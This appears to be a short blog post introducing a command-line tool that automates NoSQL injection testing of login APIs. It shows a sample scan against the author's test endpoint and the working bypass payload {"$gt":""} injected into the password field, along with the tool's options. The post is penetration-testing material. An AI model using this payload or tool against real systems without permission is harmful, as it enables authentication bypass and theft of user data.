Hello, everyone!
Today I've created a project which automates a NoSQLi pentest, but this is the first version and I ask for help in this project.
If you have an interest in helping a little project to become a large project to make our life as "security guys" more easier, please, send issues or send a PR.
So, how this project works?
With some info from a request, the "exploit" can test if the request parameters can be exploited with some payloads of NoSQLi.
Example to exploit an login API, where we have a POST request and we have a JSON data with user
and pass
:
[igor.martins automated]$ nosqli-checkr scan --host="https://nosql-checkr-test.herokuapp.com/api/v1/login" --data='{ "user": "wubba", "pass": "" }' --method="post" --params="pass" --error-message='{"success":false,"result":"user/pass not found"}' ███╗ ██╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ ███████╗ ██████╗ ██╗ ██╗ ██████╗ ████╗ ██║ ██╔═══██╗ ██╔════╝ ██╔═══██╗ ██║ ██║ ██╔════╝ ██║ ██║ ██╔════╝ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔██╗ ██║ ██║ ██║ ███████╗ ██║ ██║ ██║ ██║ ██║ ███████║ █████╗ ██║ █████╔╝ ██████╔╝ ██║╚██╗██║ ██║ ██║ ╚════██║ ██║▄▄ ██║ ██║ ██║ ██║ ██╔══██║ ██╔══╝ ██║ ██╔═██╗ ██╔══██╗ ██║ ╚████║ ╚██████╔╝ ███████║ ╚██████╔╝ ███████╗ ██║ ╚██████╗ ██║ ██║ ███████╗ ╚██████╗ ██║ ██╗ ██║ ██║ ╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚══▀▀═╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ✔ Request finished ✔ Response analyzed ✔ https://nosql-checkr-test.herokuapp.com/api/v1/login is vulnerable ℹ Payload: {"$gt":""} ℹ Evil data 😈: {"user":"wubba","pass":{"$gt":""}} ℹ Data stoled: { "success": true, "result": { "user": "wubba", "_id": "hVFQzFwVlMwCYFBT" } }
The "exploit" test the param pass
and find a payload {"$gt":""}
which can exploit the NoSQL Injection flaw.
Parameters
-
-h or --host
: Route URL. Ex: https://nosql-checkr-test.herokuapp.com/api/v1/login -
-hr or --headers
: Request headers. Ex: token:val or token:val;token2:val2 -
-d or --data
: Request data: Ex: { "user": "wubba", "pass": "" } -
-m or --method
: Request method: Ex: post or POST -
-p or --params
: Request params which will be exploited: Ex: pass or user,pass -
-e or --error-message
: The default error message of request. Ex: {"success":false,"result":"user/pass not found"}
Top comments (0)